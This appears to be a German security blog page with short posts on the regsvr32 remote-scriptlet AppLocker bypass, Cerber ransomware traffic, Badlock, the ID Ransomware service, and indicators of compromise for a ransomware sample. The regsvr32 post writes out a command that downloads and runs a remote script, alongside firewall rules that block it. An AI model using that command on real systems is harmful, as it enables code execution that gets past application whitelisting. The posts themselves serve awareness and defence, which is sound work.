Regsvr32 und Remote-Scripts – der darf das wirklich?

Mal ganz ehrlich: Wer hat gewusst, dass man mit regsvr32 auch Scripts von einem Remote-Host herunterladen und ausführen kann? Also ich erst seit einem entsprechenden Artikel von Casey Smith

Und die Problematik ist gar nicht mal so unbedeutend: Auf einem einfachen Client mit laufendem AppLocker können nicht einfach so beliebige neue / unbekannte Prozesse gestartet werden. Da ist es doch ideal, wenn man einen bestehenden verwenden kann wie regsvr32, der auf jedem Windows-System schon vorhanden ist. Noch besser, wenn man damit noch die nötigen Ressourcen von einem Remote-Host nachladen und gleich ausführen kann…

Alles was man braucht ist Zugang zu einer Shell und ein Kommando abzusetzen:

regsvr32 /s /n /u /i:http://encodingit.ch/poc.sct scrobj.dll

Auf der Gegenseite braucht es nun nur noch das passende File mit ein bisschen XML und JavaScript und schon kann jede beliebige Aktion über einen simplen HTTP-Request ausgeführt werden:

regsvr32

Gerade jetzt, wo die Malware-Thematik aktueller ist als je zuvor und so Lock-Down-Applikationen wie AppLocker als gute Lösung gehandelt werden, sind solche Spielereien tödlich!

Ein Fix ist aktuell noch nicht verfügbar, lediglich das Einschränken von regsvr32.exe mittels einer SW-Firewall bietet einen Workaround:

netsh advfirewall firewall add rule name="Block regsvr32" dir=out action=block program="C:\Windows\System32\regsvr32.exe" enable=yes
netsh advfirewall firewall add rule name="Block regsvr32(x64)" dir=out action=block program="C:\Windows\SysWOW64\regsvr32.exe" enable=yes

Hoffen wir mal, dass Microsoft bald nachzieht…

Cerber Ransomware – Geht’s noch etwas lauter bitte?

Bisher habe ich nur von der Ransomware Cerber gelesen. Die Eigenheit, dass die Ransom-Note auch über den Lautsprecher vorgelesen wird, ist ja schon irgendwie cool, schliesslich ist es mal etwas anderes als die üblichen Notes, welche man sonst so liest.

Und heute bin ich nun endlich mal über ein Sample von Cerber gestossen und muss schon sagen, ist bin gleich doppelt enttäuscht! Einerseits waren da nur wieder die üblichen, langweiligen Ransom-Notes in TXT und HTML. Die „sprechende“ VBScript-Datei war nicht vorhanden 🙁 Und das bisschen ASCII-Art machte den Verlust auch nicht wieder wett:

13-05-2016 10-56-54

Aber neben der ersten Enttäuschung, gibt es noch die Tatsache, dass die Malware auch sonst gerne mal rumschreit…

Diese versucht nämlich ziemlich exzessiv Kontakt nach Hause herzustellen: Und mit ziemlich exzessiv meine ich 15’000 UDP-Anfragen an insgesamt 10’000 unterschiedliche IP-Adressen aus dem 85.93.XXX.XXX-Bereich nach Port 6892… Und das innerhalb von knapp einer Minute! Also noch lauter „HALLO HIER BIN ICH<" schreien kann man ja wohl in einem Netzwerk nicht mehr: 13-05-2016 11-13-51

Eine komplette Liste der kontaktierten Adressen gibt es hier: cerber_ips.

BADLOCK – Most Overhyped Bug

Badlock ist sicherlich jedem ein Begriff – genug darüber geschrieben und gesprochen wurde ja schliesslich in vergangener Zeit:

Doch wieso wurde diesem Bug so viel Aufmerksamkeit geschenkt, wieso hat der Bug ein Logo und einen Namen während Andere nur eine CVE-Nummer bekommen?
Eigentlich liegt der Schluss somit ja nahe, dass er kritischer oder heikler ist als andere… Ist somit spezielle Vorsicht nötig?

Problematisch ist sicherlich die Entwicklung, welche der Bug durchgemacht hat: Vor knapp einem Monat wurde die Lücke veröffentlicht, jedoch nur mit dem Namen, einem coolen Logo und ohne zusätzliche Details. Da die Medien dies ziemlich schnell aufgriffen, fingen die wildesten Spekulationen an, welche Software-Teile betroffen sein könnten oder wie weitrechend die Auswirkungen wirklich sind… Dazugekommen ist, dass der Name auch sehr viel Spielraum für Spekulationen offen lässt und auf den ersten Blick vielleicht eher in Richtung Locking und Concurrent Programming führen könnte.

Jetzt, nachdem die Details bekannt sind, muss man sicherlich auch mal relativieren: Der Bug ist durchaus heikel, aber nicht so heikel, dass man jetzt in Panik verfallen müsste, wie das auch schon bei z.B. Shellshock der Fall war. Versteht mich nicht falsch, ich sage nicht, man soll die Lücke nicht patchen und schliessen, aber das geht auch wie bei jedem anderen Bug sonst auch und braucht keine 1-monatige Marketingkampagne bevor einzelne Infos darüber veröffentlicht werden. Das ist simple Effekthascherei…
Und schliesslich kann jeder einem Bug einen Namen und ein Logo geben, das ändert aber noch lange nichts an der Wichtigkeit oder der Reichweite eines einzelnen Bugs. Badlock hat auch „nur“ eine CVSS score von 7.1 erhalten und selbst Microsoft stuft den Fix nur als „Wichtig“ und nicht „Kritisch“ ein…

Ich denke mal, wir befinden uns hier auf einem guten Weg für den Pwnie Award „Most Overhyped Bug“… 🙂

Online-Dienst zur Identifizierung von Ransomware

Bei der Incident Response von Ransomware-Ausbrüchen ist es essenziell, dass man ziemlich schnell weiss, mit welchem Typ von Malware man es zu tun hat, um die First Response auch entsprechend ableiten zu können. Nicht gerade Vorteilhaft, wenn man auf eine statische Analyse warten muss, um weitere Infos zu erhalten, wonach man überhaupt sonst noch so suchen muss. Oder als Worst Case: Man hat nur die verschlüsselten Files und keine Malware und kann nicht feststellen, wie genau die Malware sich verhält oder wo man weitersuchen könnte…

Das selbe Problem scheint auch der Twitter-User Michael Gillespie (@demonslay335) zu kennen und hat deshalb eine Plattform „ID Ransomware“ ins Leben gerufen, auf welcher entweder die Erpresser-Files oder aber gleich verschlüsselte Daten hochladen und analysieren lassen kann:

id_ransomware

Nach eigenen Aussagen erkennt man aktuell 59 Ransomware-Familien:

7ev3n, AutoLocky, BitMessage, Booyah, Brazilian Ransomware, BuyUnlockCode, Cerber, CoinVault, Coverton, Crypt0L0cker, CryptoFortress, CryptoHasYou, CryptoJoker, CryptoTorLocker, CryptoWall 2.0, CryptoWall 3.0, CryptoWall 4.0, CryptXXX, CrySiS, CTB-Locker, DMA Locker, ECLR Ransomware, EnCiPhErEd, Hi Buddy!, HOW TO DECRYPT FILES, HydraCrypt, Jigsaw, JobCrypter, KeRanger, KryptoLocker, LeChiffre, Locky, Lortok, Magic, Maktub Locker, MireWare, Mobef, NanoLocker, Nemucod, OMG! Ransomcrypt, PadCrypt, PClock, PowerWare, Radamant, Radamant v2.1, RemindMe, Rokku, Samas, Sanction, Shade, SuperCrypt, Surprise, TeslaCrypt 0.x, TeslaCrypt 2.x, TeslaCrypt 3.0, TeslaCrypt 4.0, UmbreCrypt, VaultCrypt, WonderCrypter

Meine Tests mit CryptoLocker und HydraCrypt haben leider weder mit verschlüsselten noch mit Erpressungs-Files funktioniert, aber einerseits hat die Plattform ja noch potenzial zu wachsen und andererseits ist im Falle eines Ausbruches jedes Mittel recht, selbst wenn es nur bei 10% der Samples etwas hilfreiches hervor bringt…

Zu finden ist die Plattform unter id-ransomware.malwarehunterteam.com.

Bei sehr konstanter Erkennungsrate wäre es natürlich ganz cool eine API zu haben. Ich stelle mir hier Dinge vor wie automatische Alarms auf verdächtige Files, welche dann über die API geprüft und eindeutig identifiziert werden, etc. Zukunftsmusik aber eigentlich gar nicht mal so verkehrt der Gedanke… 🙂

Neues Ransomware Sample mit IOC

Vor kurzem bin ich über eine mir bisher noch nicht untergekommene Variante einer Ransomware gestossen. Die Erkennungsrate nach auch einem ganzen Tag lässt leider noch immer massiv zu wünschen übrig – gerade mal 11 von 56 (Link) erkennen die Bedrohung bisher und anhand der Malware-Familien, welche zugeordnet werden, scheinen das auch nur Behaivoral-Analysen zu sein und sicherlich keine Pattern…

Die Infektion mit der Ransomware scheint wie in letzter Zeit so üblich, über das Angler-EK zu laufen und die Einstiegspunkte dafür sind sehr vielfältig.

Ist die Malware auf dem Client, so erkennt man sie am besten daran, dass sie sich in jeden verschlüsselten Ordner selbst kopiert, aktuell unter dem Namen „Backup Instruction.exe“ mit folgenden Eigenschaften:

MD5:		a0fed8de59e6f6ce77da7788faef5489
SHA1:		96ebbf821f37dc2dcebc177fc3a6c17b3171aab3
SHA256:	004cdc6996225f244aef124edc72f90434a872b3d4fa56d5ebc2655473733aef

Ist die Ransomware einmal aktiv, so werden die Daten verschlüsselt nach folgendem Muster:

FILENAME_ID_email_xoomx@dr.com_.code

Zusätzlich wird die Datei mit weiteren Instruktionen in einer HTML Datei abgelegt mit dem Namen „HELP_YOUR_FILES.HTML“:

Name:		HELP_YOUR_FILES.HTML
Grösse:	1913 bytes
Typ:		HTML document, ASCII text
MD5			4cb837255571d2d27d6b1f8f9bc672ef
SHA1		e3717b3a2d7e98abdfe8451b6d4efe3a51c65347
SHA256	f44737eb9ef658251f8f5bf5b0f59186a554a8a9ef6b1cf78b927866a0143a27

Erkennen lässt sich die Ransomware an der Netzwerkkommunikation, womit der entsprechende Key übermittelt wird:

21-04-2016 07-33-20

Spannend fand ich, dass der Key vom Host an den C2 übermittelt wird und nicht umgekehrt:

21-04-2016 07-35-27

Somit ist der übermittelte Key entweder der Private-Key zum Entschlüsseln, oder aber der Public Key, was aber bedeutet, dass die Ransomware selbst über hartkodierte und einprogrammierte Keys verfügen muss und diese sind ja bekanntlich nicht unendlich vielfältig. Sicherlich ein guter Punkt zum Einsteigen für ein mögliches Entschlüsselungsprogramm…

Als IOC sind aus der Analyse die folgenden Infos zusammengekommen:

FileHash-MD5:			a0fed8de59e6f6ce77da7788faef5489
FileHash-SHA1:		96ebbf821f37dc2dcebc177fc3a6c17b3171aab3
FileHash-SHA256:	004cdc6996225f244aef124edc72f90434a872b3d4fa56d5ebc2655473733aef
IPv4:							46.8.45.174
URL:							hXXp://46.8.45.174/bobi/piok.php
« Older Entries